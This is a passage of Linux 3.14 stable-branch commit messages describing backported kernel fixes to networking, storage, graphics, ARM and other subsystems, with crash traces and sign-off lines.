Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Eric Dumazet [Sat, 30 May 2015 16:16:53 +0000 (09:16 -0700)]
udp: fix behavior of wrong checksums
[ Upstream commit
beb39db59d14990e401e235faf66a6b9b31240b0 ]
We have two problems in UDP stack related to bogus checksums :
1) We return -EAGAIN to application even if receive queue is not empty.
This breaks applications using edge trigger epoll()
2) Under UDP flood, we can loop forever without yielding to other
processes, potentially hanging the host, especially on non SMP.
This patch is an attempt to make things better.
We might in the future add extra support for rt applications
wanting to better control time spent doing a recv() in a hostile
environment. For example we could validate checksums before queuing
packets in socket receive queue.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Willem de Bruijn <willemb@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
WANG Cong [Tue, 26 May 2015 23:08:48 +0000 (16:08 -0700)]
net_sched: invoke ->attach() after setting dev->qdisc
[ Upstream commit
86e363dc3b50bfd50a1f315934583fbda673ab8d ]
For mq qdisc, we add per tx queue qdisc to root qdisc
for display purpose, however, that happens too early,
before the new dev->qdisc is finally set, this causes
q->list points to an old root qdisc which is going to be
freed right before assigning with a new one.
Fix this by moving ->attach() after setting dev->qdisc.
For the record, this fixes the following crash:
------------[ cut here ]------------
WARNING: CPU: 1 PID: 975 at lib/list_debug.c:59 __list_del_entry+0x5a/0x98()
list_del corruption. prev->next should be
ffff8800d1998ae8, but was
6b6b6b6b6b6b6b6b
CPU: 1 PID: 975 Comm: tc Not tainted 4.1.0-rc4+ #1019
Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011
0000000000000009 ffff8800d73fb928 ffffffff81a44e7f 0000000047574756
ffff8800d73fb978 ffff8800d73fb968 ffffffff810790da ffff8800cfc4cd20
ffffffff814e725b ffff8800d1998ae8 ffffffff82381250 0000000000000000
Call Trace:
[<
ffffffff81a44e7f>] dump_stack+0x4c/0x65
[<
ffffffff810790da>] warn_slowpath_common+0x9c/0xb6
[<
ffffffff814e725b>] ? __list_del_entry+0x5a/0x98
[<
ffffffff81079162>] warn_slowpath_fmt+0x46/0x48
[<
ffffffff81820eb0>] ? dev_graft_qdisc+0x5e/0x6a
[<
ffffffff814e725b>] __list_del_entry+0x5a/0x98
[<
ffffffff814e72a7>] list_del+0xe/0x2d
[<
ffffffff81822f05>] qdisc_list_del+0x1e/0x20
[<
ffffffff81820cd1>] qdisc_destroy+0x30/0xd6
[<
ffffffff81822676>] qdisc_graft+0x11d/0x243
[<
ffffffff818233c1>] tc_get_qdisc+0x1a6/0x1d4
[<
ffffffff810b5eaf>] ? mark_lock+0x2e/0x226
[<
ffffffff817ff8f5>] rtnetlink_rcv_msg+0x181/0x194
[<
ffffffff817ff72e>] ? rtnl_lock+0x17/0x19
[<
ffffffff817ff72e>] ? rtnl_lock+0x17/0x19
[<
ffffffff817ff774>] ? __rtnl_unlock+0x17/0x17
[<
ffffffff81855dc6>] netlink_rcv_skb+0x4d/0x93
[<
ffffffff817ff756>] rtnetlink_rcv+0x26/0x2d
[<
ffffffff818544b2>] netlink_unicast+0xcb/0x150
[<
ffffffff81161db9>] ? might_fault+0x59/0xa9
[<
ffffffff81854f78>] netlink_sendmsg+0x4fa/0x51c
[<
ffffffff817d6e09>] sock_sendmsg_nosec+0x12/0x1d
[<
ffffffff817d8967>] sock_sendmsg+0x29/0x2e
[<
ffffffff817d8cf3>] ___sys_sendmsg+0x1b4/0x23a
[<
ffffffff8100a1b8>] ? native_sched_clock+0x35/0x37
[<
ffffffff810a1d83>] ? sched_clock_local+0x12/0x72
[<
ffffffff810a1fd4>] ? sched_clock_cpu+0x9e/0xb7
[<
ffffffff810def2a>] ? current_kernel_time+0xe/0x32
[<
ffffffff810b4bc5>] ? lock_release_holdtime.part.29+0x71/0x7f
[<
ffffffff810ddebf>] ? read_seqcount_begin.constprop.27+0x5f/0x76
[<
ffffffff810b6292>] ? trace_hardirqs_on_caller+0x17d/0x199
[<
ffffffff811b14d5>] ? __fget_light+0x50/0x78
[<
ffffffff817d9808>] __sys_sendmsg+0x42/0x60
[<
ffffffff817d9838>] SyS_sendmsg+0x12/0x1c
[<
ffffffff81a50e97>] system_call_fastpath+0x12/0x6f
---[ end trace
ef29d3fb28e97ae7 ]---
For long term, we probably need to clean up the qdisc_graft() code
in case it hides other bugs like this.
Fixes: 95dc19299f74 ("pkt_sched: give visibility to mq slave qdiscs")
Cc: Jamal Hadi Salim <jhs@mojatatu.com>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Mark Salyzyn [Tue, 26 May 2015 15:22:19 +0000 (08:22 -0700)]
unix/caif: sk_socket can disappear when state is unlocked
[ Upstream commit
b48732e4a48d80ed4a14812f0bab09560846514e ]
got a rare NULL pointer dereference in clear_bit
Signed-off-by: Mark Salyzyn <salyzyn@android.com>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
----
v2: switch to sock_flag(sk, SOCK_DEAD) and added net/caif/caif_socket.c
v3: return -ECONNRESET in upstream caller of wait function for SOCK_DEAD
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Richard Cochran [Mon, 25 May 2015 09:55:44 +0000 (11:55 +0200)]
net: dp83640: reinforce locking rules.
[ Upstream commit
a935865c828c8cd20501f618c69f659a5b6d6a5f ]
Callers of the ext_write function are supposed to hold a mutex that
protects the state of the dialed page, but one caller was missing the
lock from the very start, and over time the code has been changed
without following the rule. This patch cleans up the call sites in
violation of the rule.
Signed-off-by: Richard Cochran <richardcochran@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Richard Cochran [Mon, 25 May 2015 09:55:43 +0000 (11:55 +0200)]
net: dp83640: fix broken calibration routine.
[ Upstream commit
397a253af5031de4a4612210055935309af4472c ]
Currently, the calibration function that corrects the initial offsets
among multiple devices only works the first time. If the function is
called more than once, the calibration fails and bogus offsets will be
programmed into the devices.
In a well hidden spot, the device documentation tells that trigger indexes
0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work.
This patch fixes the issue by using one of the special triggers during the
recalibration method.
Signed-off-by: Richard Cochran <richardcochran@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Thadeu Lima de Souza Cascardo [Fri, 22 May 2015 15:18:59 +0000 (12:18 -0300)]
bridge: fix parsing of MLDv2 reports
[ Upstream commit
47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 ]
When more than a multicast address is present in a MLDv2 report, all but
the first address is ignored, because the code breaks out of the loop if
there has not been an error adding that address.
This has caused failures when two guests connected through the bridge
tried to communicate using IPv6. Neighbor discoveries would not be
transmitted to the other guest when both used a link-local address and a
static address.
This only happens when there is a MLDv2 querier in the network.
The fix will only break out of the loop when there is a failure adding a
multicast address.
The mdb before the patch:
dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp
dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp
dev ovirtmgmt port bond0.86 grp ff02::2 temp
After the patch:
dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp
dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp
dev ovirtmgmt port bond0.86 grp ff02::fb temp
dev ovirtmgmt port bond0.86 grp ff02::2 temp
dev ovirtmgmt port bond0.86 grp ff02::d temp
dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp
dev ovirtmgmt port bond0.86 grp ff02::16 temp
dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp
dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp
dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp
Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.")
Reported-by: Rik Theys <Rik.Theys@esat.kuleuven.be>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@redhat.com>
Tested-by: Rik Theys <Rik.Theys@esat.kuleuven.be>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Eric W. Biederman [Fri, 22 May 2015 09:58:12 +0000 (04:58 -0500)]
ipv4: Avoid crashing in ip_error
[ Upstream commit
381c759d9916c42959515ad34a6d467e24a88e93 ]
ip_error does not check if in_dev is NULL before dereferencing it.
IThe following sequence of calls is possible:
CPU A CPU B
ip_rcv_finish
ip_route_input_noref()
ip_route_input_slow()
inetdev_destroy()
dst_input()
With the result that a network device can be destroyed while processing
an input packet.
A crash was triggered with only unicast packets in flight, and
forwarding enabled on the only network device. The error condition
was created by the removal of the network device.
As such it is likely the that error code was -EHOSTUNREACH, and the
action taken by ip_error (if in_dev had been accessible) would have
been to not increment any counters and to have tried and likely failed
to send an icmp error as the network device is going away.
Therefore handle this weird case by just dropping the packet if
!in_dev. It will result in dropping the packet sooner, and will not
result in an actual change of behavior.
Fixes: 251da4130115b ("ipv4: Cache ip_error() routes even when not forwarding.")
Reported-by: Vittorio Gambaletta <linuxbugs@vittgam.net>
Tested-by: Vittorio Gambaletta <linuxbugs@vittgam.net>
Signed-off-by: Vittorio Gambaletta <linuxbugs@vittgam.net>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Florent Fourcot [Fri, 15 May 2015 22:24:59 +0000 (00:24 +0200)]
tcp/ipv6: fix flow label setting in TIME_WAIT state
[ Upstream commit
21858cd02dabcf290564cbf4769b101eba54d7bb ]
commit
1d13a96c74fc ("ipv6: tcp: fix flowlabel value in ACK messages
send from TIME_WAIT") added the flow label in the last TCP packets.
Unfortunately, it was not casted properly.
This patch replace the buggy shift with be32_to_cpu/cpu_to_be32.
Fixes: 1d13a96c74fc ("ipv6: tcp: fix flowlabel value in ACK messages")
Reported-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Florent Fourcot <florent.fourcot@enst-bretagne.fr>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Florian Fainelli [Fri, 15 May 2015 23:30:41 +0000 (16:30 -0700)]
net: phy: Allow EEE for all RGMII variants
[ Upstream commit
7e14069651591c81046ffaec13c3dac8cb70f5fb ]
RGMII interfaces come in multiple flavors: RGMII with transmit or
receive internal delay, no delays at all, or delays in both direction.
This change extends the initial check for PHY_INTERFACE_MODE_RGMII to
cover all of these variants since EEE should be allowed for any of these
modes, since it is a property of the RGMII, hence Gigabit PHY capability
more than the RGMII electrical interface and its delays.
Fixes: a59a4d192166 ("phy: add the EEE support and the way to access to the MMD registers")
Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Alexei Starovoitov [Fri, 22 May 2015 22:42:55 +0000 (15:42 -0700)]
x86: bpf_jit: fix compilation of large bpf programs
[ Upstream commit
3f7352bf21f8fd7ba3e2fcef9488756f188e12be ]
x86 has variable length encoding. x86 JIT compiler is trying
to pick the shortest encoding for given bpf instruction.
While doing so the jump targets are changing, so JIT is doing
multiple passes over the program. Typical program needs 3 passes.
Some very short programs converge with 2 passes. Large programs
may need 4 or 5. But specially crafted bpf programs may hit the
pass limit and if the program converges on the last iteration
the JIT compiler will be producing an image full of 'int 3' insns.
Fix this corner case by doing final iteration over bpf program.
Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64")
Reported-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: Alexei Starovoitov <ast@plumgrid.com>
Tested-by: Daniel Borkmann <daniel@iogearbox.net>
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Vlad Yasevich [Sun, 3 May 2015 01:33:44 +0000 (21:33 -0400)]
net: core: Correct an over-stringent device loop detection.
[ Upstream commit
d66bf7dd27573ee5ea90484899ee952c19ccb194 ]
The code in __netdev_upper_dev_link() has an over-stringent
loop detection logic that actually prevents valid configurations
from working correctly.
In particular, the logic returns an error if an upper device
is already in the list of all upper devices for a given dev.
This particular check seems to be a overzealous as it disallows
perfectly valid configurations. For example:
# ip l a link eth0 name eth0.10 type vlan id 10
# ip l a dev br0 typ bridge
# ip l s eth0.10 master br0
# ip l s eth0 master br0 <--- Will fail
If you switch the last two commands (add eth0 first), then both
will succeed. If after that, you remove eth0 and try to re-add
it, it will fail!
It appears to be enough to simply check adj_list to keeps things
safe.
I've tried stacking multiple devices multiple times in all different
combinations, and either rx_handler registration prevented the stacking
of the device linking cought the error.
Signed-off-by: Vladislav Yasevich <vyasevic@redhat.com>
Acked-by: Jiri Pirko <jiri@resnulli.us>
Acked-by: Veaceslav Falico <vfalico@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Ilya Dryomov [Tue, 14 Apr 2015 13:04:23 +0000 (16:04 +0300)]
crush: ensuring at most num-rep osds are selected
commit
45002267e8d2699bf9b022315bee3dd13b044843 upstream.
Crush temporary buffers are allocated as per replica size configured
by the user. When there are more final osds (to be selected as per
rule) than the replicas, buffer overlaps and it causes crash. Now, it
ensures that at most num-rep osds are selected even if more number of
osds are allowed by the rule.
Reflects ceph.git commits
6b4d1aa99718e3b367496326c1e64551330fabc0,
234b066ba04976783d15ff2abc3e81b6cc06fb10.
Signed-off-by: Ilya Dryomov <idryomov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Greg Kroah-Hartman [Sat, 6 Jun 2015 15:19:54 +0000 (08:19 -0700)]
Linux 3.14.44
Andrew Morton [Thu, 28 May 2015 22:44:24 +0000 (15:44 -0700)]
fs/binfmt_elf.c:load_elf_binary(): return -EINVAL on zero-length mappings
commit
2b1d3ae940acd11be44c6eced5873d47c2e00ffa upstream.
load_elf_binary() returns `retval', not `error'.
Fixes: a87938b2e246b81b4fb ("fs/binfmt_elf.c: fix bug in loading of PIE binaries")
Reported-by: James Hogan <james.hogan@imgtec.com>
Cc: Michael Davidson <md@google.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Sasha Levin [Wed, 28 Jan 2015 20:30:43 +0000 (15:30 -0500)]
vfs: read file_handle only once in handle_to_path
commit
161f873b89136eb1e69477c847d5a5033239d9ba upstream.
We used to read file_handle twice. Once to get the amount of extra
bytes, and once to fetch the entire structure.
This may be problematic since we do size verifications only after the
first read, so if the number of extra bytes changes in userspace between
the first and second calls, we'll have an incoherent view of
file_handle.
Instead, read the constant size once, and copy that over to the final
structure without having to re-read it again.
Signed-off-by: Sasha Levin <sasha.levin@oracle.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Christian König [Thu, 28 May 2015 13:51:59 +0000 (15:51 +0200)]
drm/radeon: partially revert "fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling"
commit
7c0411d2fabc2e2702c9871ffb603e251158b317 upstream.
We have that bug for years and some users report side effects when fixing it on older hardware.
So revert it for VM_CONTEXT0_PAGE_TABLE_END_ADDR, but keep it for VM 1-15.
Signed-off-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Christian König [Tue, 12 May 2015 12:56:17 +0000 (14:56 +0200)]
drm/radeon: fix VM_CONTEXT*_PAGE_TABLE_END_ADDR handling
commit
607d48063512707a414e346972e2210dc71ab491 upstream.
The mapping range is inclusive between starting and ending addresses.
Signed-off-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Alex Deucher [Tue, 12 May 2015 16:51:38 +0000 (12:51 -0400)]
drm/radeon: add new bonaire pci id
commit
fcf3b54282e4c5a95a1f45f67558bc105acdbc6a upstream.
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Rafael J. Wysocki [Thu, 7 May 2015 19:19:39 +0000 (21:19 +0200)]
ACPI / init: Fix the ordering of acpi_reserve_resources()
commit
b9a5e5e18fbf223502c0b2264c15024e393da928 upstream.
Since acpi_reserve_resources() is defined as a device_initcall(),
there's no guarantee that it will be executed in the right order
with respect to the rest of the ACPI initialization code. On some
systems this leads to breakage if, for example, the address range
that should be reserved for the ACPI fixed registers is given to
the PCI host bridge instead if the race is won by the wrong code
path.
Fix this by turning acpi_reserve_resources() into a void function
and calling it directly from within the ACPI initialization sequence.
Reported-and-tested-by: George McCollister <george.mccollister@gmail.com>
Link: http://marc.info/?t=143092384600002&r=1&w=2
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Mark Hounschell [Wed, 13 May 2015 08:49:09 +0000 (10:49 +0200)]
sd: Disable support for 256 byte/sector disks
commit
74856fbf441929918c49ff262ace9835048e4e6a upstream.
256 bytes per sector support has been broken since 2.6.X,
and no-one stepped up to fix this.
So disable support for it.
Signed-off-by: Mark Hounschell <dmarkh@cfl.rr.com>
Signed-off-by: Hannes Reinecke <hare@suse.de>
Signed-off-by: James Bottomley <JBottomley@Odin.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
K. Y. Srinivasan [Fri, 1 May 2015 18:03:02 +0000 (11:03 -0700)]
storvsc: Set the SRB flags correctly when no data transfer is needed
commit
dc45708ca9988656d706940df5fd102672c5de92 upstream.
Set the SRB flags correctly when there is no data transfer. Without this
change some IHV drivers will fail valid commands such as TEST_UNIT_READY.
Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
Reviewed-by: Long Li <longli@microsoft.com>
Signed-off-by: James Bottomley <JBottomley@Odin.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Benjamin Tissoires [Thu, 23 Apr 2015 16:08:43 +0000 (09:08 -0700)]
Input: elantech - fix semi-mt protocol for v3 HW
commit
3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream.
When the v3 hardware sees more than one finger, it uses the semi-mt
protocol to report the touches. However, it currently works when
num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1
finger as if num_fingers was 1.
This confuses userspace which knows how to deal with extra fingers
when all the slots are used, but not when some are missing.
Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101
Signed-off-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Larry Finger [Fri, 24 Apr 2015 16:03:37 +0000 (11:03 -0500)]
rtlwifi: rtl8192cu: Fix kernel deadlock
commit
414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream.
The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to
usb_control_msg() with a timeout value of 0. In some instances where the
interface is shutting down, this infinite wait results in a CPU deadlock. A
one second timeout fixes this problem without affecting any normal operations.
This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786.
Reported-by: Bernhard Wiedemann <bwiedemann@suse.com>
Tested-by: Bernhard Wiedemann <bwiedemann@suse.com>
Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
Cc: Bernhard Wiedemann <bwiedemann@suse.com>
Cc: Takashi Iwai<tiwai@suse.com>
Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Eric Work [Tue, 19 May 2015 06:26:23 +0000 (23:26 -0700)]
md/raid0: fix restore to sector variable in raid0_make_request
commit
a81157768a00e8cf8a7b43b5ea5cac931262374f upstream.
The variable "sector" in "raid0_make_request()" was improperly updated
by a call to "sector_div()" which modifies its first argument in place.
Commit
47d68979cc968535cb87f3e5f2e6a3533ea48fbd restored this variable
after the call for later re-use. Unfortunetly the restore was done after
the referenced variable "bio" was advanced. This lead to the original
value and the restored value being different. Here we move this line to
the proper place.
One observed side effect of this bug was discarding a file though
unlinking would cause an unrelated file's contents to be discarded.
Signed-off-by: NeilBrown <neilb@suse.de>
Fixes: 47d68979cc96 ("md/raid0: fix bug with chunksize not a power of 2.")
URL: https://bugzilla.kernel.org/show_bug.cgi?id=98501
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
NeilBrown [Fri, 8 May 2015 08:19:34 +0000 (18:19 +1000)]
md/raid5: don't record new size if resize_stripes fails.
commit
6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream.
If any memory allocation in resize_stripes fails we will return
-ENOMEM, but in some cases we update conf->pool_size anyway.
This means that if we try again, the allocations will be assumed
to be larger than they are, and badness results.
So only update pool_size if there is no error.
This bug was introduced in 2.6.17 and the patch is suitable for
-stable.
Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array")
Signed-off-by: NeilBrown <neilb@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jean Delvare [Mon, 20 Apr 2015 09:21:13 +0000 (11:21 +0200)]
thermal: step_wise: Revert optimization
Commit
178c2490b99f898efc06d1ad75cadc84f13021a6 ("thermal: step_wise:
cdev only needs update on a new target state") broke driver acerhdf.
That driver abused the step_wise thermal governor until the bang_bang
governor was available, and the optimization broke this usage model.
Kernels v3.12 to v3.18 are affected. In v3.19 the acerhdf driver was
switched to the bang_bang governor and that solved the problem.
For kernels v3.12 to v3.17, the bang_bang governor isn't available
yet so the easiest fix is to revert the optimization.
Signed-off-by: Jean Delvare <jdelvare@suse.de>
Reported-by: Dieter Jurzitza (https://bugzilla.opensuse.org/show_bug.cgi?id=925961)
Tested-by: Peter Feuerer <peter@piie.net>
Tested-by: Dieter Jurzitza
Scott Mayhew [Tue, 28 Apr 2015 20:29:53 +0000 (16:29 -0400)]
svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures
commit
9507271d960a1911a51683888837d75c171cd91f upstream.
In an environment where the KDC is running Active Directory, the
exported composite name field returned in the context could be large
enough to span a page boundary. Attaching a scratch buffer to the
decoding xdr_stream helps deal with those cases.
The case where we saw this was actually due to behavior that's been
fixed in newer gss-proxy versions, but we're fixing it here too.
Signed-off-by: Scott Mayhew <smayhew@redhat.com>
Reviewed-by: Simo Sorce <simo@redhat.com>
Signed-off-by: J. Bruce Fields <bfields@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Mel Gorman [Thu, 14 May 2015 22:17:09 +0000 (15:17 -0700)]
mm, numa: really disable NUMA balancing by default on single node machines
commit
b0dc2b9bb4ab782115b964310518ee0b17784277 upstream.
NUMA balancing is meant to be disabled by default on UMA machines but
the check is using nr_node_ids (highest node) instead of
num_online_nodes (online nodes).
The consequences are that a UMA machine with a node ID of 1 or higher
will enable NUMA balancing. This will incur useless overhead due to
minor faults with the impact depending on the workload. These are the
impact on the stats when running a kernel build on a single node machine
whose node ID happened to be 1:
vanilla patched
NUMA base PTE updates
5113158 0
NUMA huge PMD updates 643 0
NUMA page range updates
5442374 0
NUMA hint faults
2109622 0
NUMA hint local faults
2109622 0
NUMA hint local percent 100 100
NUMA pages migrated 0 0
Signed-off-by: Mel Gorman <mgorman@suse.de>
Reviewed-by: Rik van Riel <riel@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Andi Kleen [Thu, 14 May 2015 22:16:53 +0000 (15:16 -0700)]
tools/vm: fix page-flags build
commit
4933f55fe72c86e57efc454dd6e673c7f17af5a3 upstream.
libabikfs.a doesn't exist anymore, so we now need to link with libapi.a.
Signed-off-by: Andi Kleen <ak@linux.intel.com>
Cc: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Russell King [Fri, 15 May 2015 10:02:23 +0000 (11:02 +0100)]
ARM: fix missing syscall trace exit
commit
1b97937246d8b97c0760d16d8992c7937bdf5e6a upstream.
Josh Stone reports:
I've discovered a case where both arm and arm64 will miss a ptrace
syscall-exit that they should report. If the syscall is entered
without TIF_SYSCALL_TRACE set, then it goes on the fast path. It's
then possible to have TIF_SYSCALL_TRACE added in the middle of the
syscall, but ret_fast_syscall doesn't check this flag again.
Fix this by always checking for a syscall trace in the fast exit path.
Reported-by: Josh Stone <jistone@redhat.com>
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Philippe Reynes [Tue, 12 May 2015 22:18:26 +0000 (00:18 +0200)]
ARM: dts: imx27: only map 4 Kbyte for fec registers
commit
a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream.
According to the imx27 documentation, fec has a 4 Kbyte
memory space map. Moreover, the actual 16 Kbyte mapping
overlaps the SCC (Security Controller) memory register
space. So, we reduce the memory register space to 4 Kbyte.
Signed-off-by: Philippe Reynes <tremyfr@gmail.com>
Acked-by: Uwe Kleine-König <u.kleine-koenig@pengutronix.de>
Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support")
Signed-off-by: Shawn Guo <shawn.guo@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Janusz Dziedzic [Mon, 11 May 2015 09:31:15 +0000 (11:31 +0200)]
mac80211: move WEP tailroom size check
commit
47b4e1fc4972cc43a19121bc2608a60aef3bf216 upstream.
Remove checking tailroom when adding IV as it uses only
headroom, and move the check to the ICV generation that
actually needs the tailroom.
In other case I hit such warning and datapath don't work,
when testing:
- IBSS + WEP
- ath9k with hw crypt enabled
- IPv6 data (ping6)
WARNING: CPU: 3 PID: 13301 at net/mac80211/wep.c:102 ieee80211_wep_add_iv+0x129/0x190 [mac80211]()
[...]
Call Trace:
[<
ffffffff817bf491>] dump_stack+0x45/0x57
[<
ffffffff8107746a>] warn_slowpath_common+0x8a/0xc0
[<
ffffffff8107755a>] warn_slowpath_null+0x1a/0x20
[<
ffffffffc09ae109>] ieee80211_wep_add_iv+0x129/0x190 [mac80211]
[<
ffffffffc09ae7ab>] ieee80211_crypto_wep_encrypt+0x6b/0xd0 [mac80211]
[<
ffffffffc09d3fb1>] invoke_tx_handlers+0xc51/0xf30 [mac80211]
[...]
Signed-off-by: Janusz Dziedzic <janusz.dziedzic@tieto.com>
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Harald Freudenberger [Thu, 21 May 2015 08:01:11 +0000 (10:01 +0200)]
crypto: s390/ghash - Fix incorrect ghash icv buffer handling.
commit
a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream.
Multitheaded tests showed that the icv buffer in the current ghash
implementation is not handled correctly. A move of this working ghash
buffer value to the descriptor context fixed this. Code is tested and
verified with an multithreaded application via af_alg interface.
Signed-off-by: Harald Freudenberger <freude@linux.vnet.ibm.com>
Signed-off-by: Gerald Schaefer <geraldsc@linux.vnet.ibm.com>
Reported-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Michael Brunner [Mon, 11 May 2015 10:46:49 +0000 (12:46 +0200)]
gpio: gpio-kempld: Fix get_direction return value
commit
f230e8ffc03f17bd9d6b90ea890b8252a8cc1821 upstream.
This patch fixes an inverted return value of the gpio get_direction
function.
The wrong value causes the direction sysfs entry and GPIO debugfs file
to indicate incorrect GPIO direction settings. In some cases it also
prevents setting GPIO output values.
The problem is also present in all other stable kernel versions since
linux-3.12.
Reported-by: Jochen Henneberg <jh@henneberg-systemdesign.com>
Signed-off-by: Michael Brunner <michael.brunner@kontron.com>
Reviewed-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Scott Branden [Mon, 16 Mar 2015 17:59:52 +0000 (10:59 -0700)]
rt2x00: add new rt2800usb device DWA 130
commit
ea345c145ff23197eab34d0c4d0c8a93d7bea8c6 upstream.
Add the USB Id to link the D-Link DWA 130 USB Wifi adapter
to the rt2830 driver.
Signed-off-by: Scott Branden <sbranden@broadcom.com>
Signed-off-by: Pieter Truter <ptruter@broadcom.com>
Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
Cc: Larry Finger <Larry.Finger@lwfinger.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
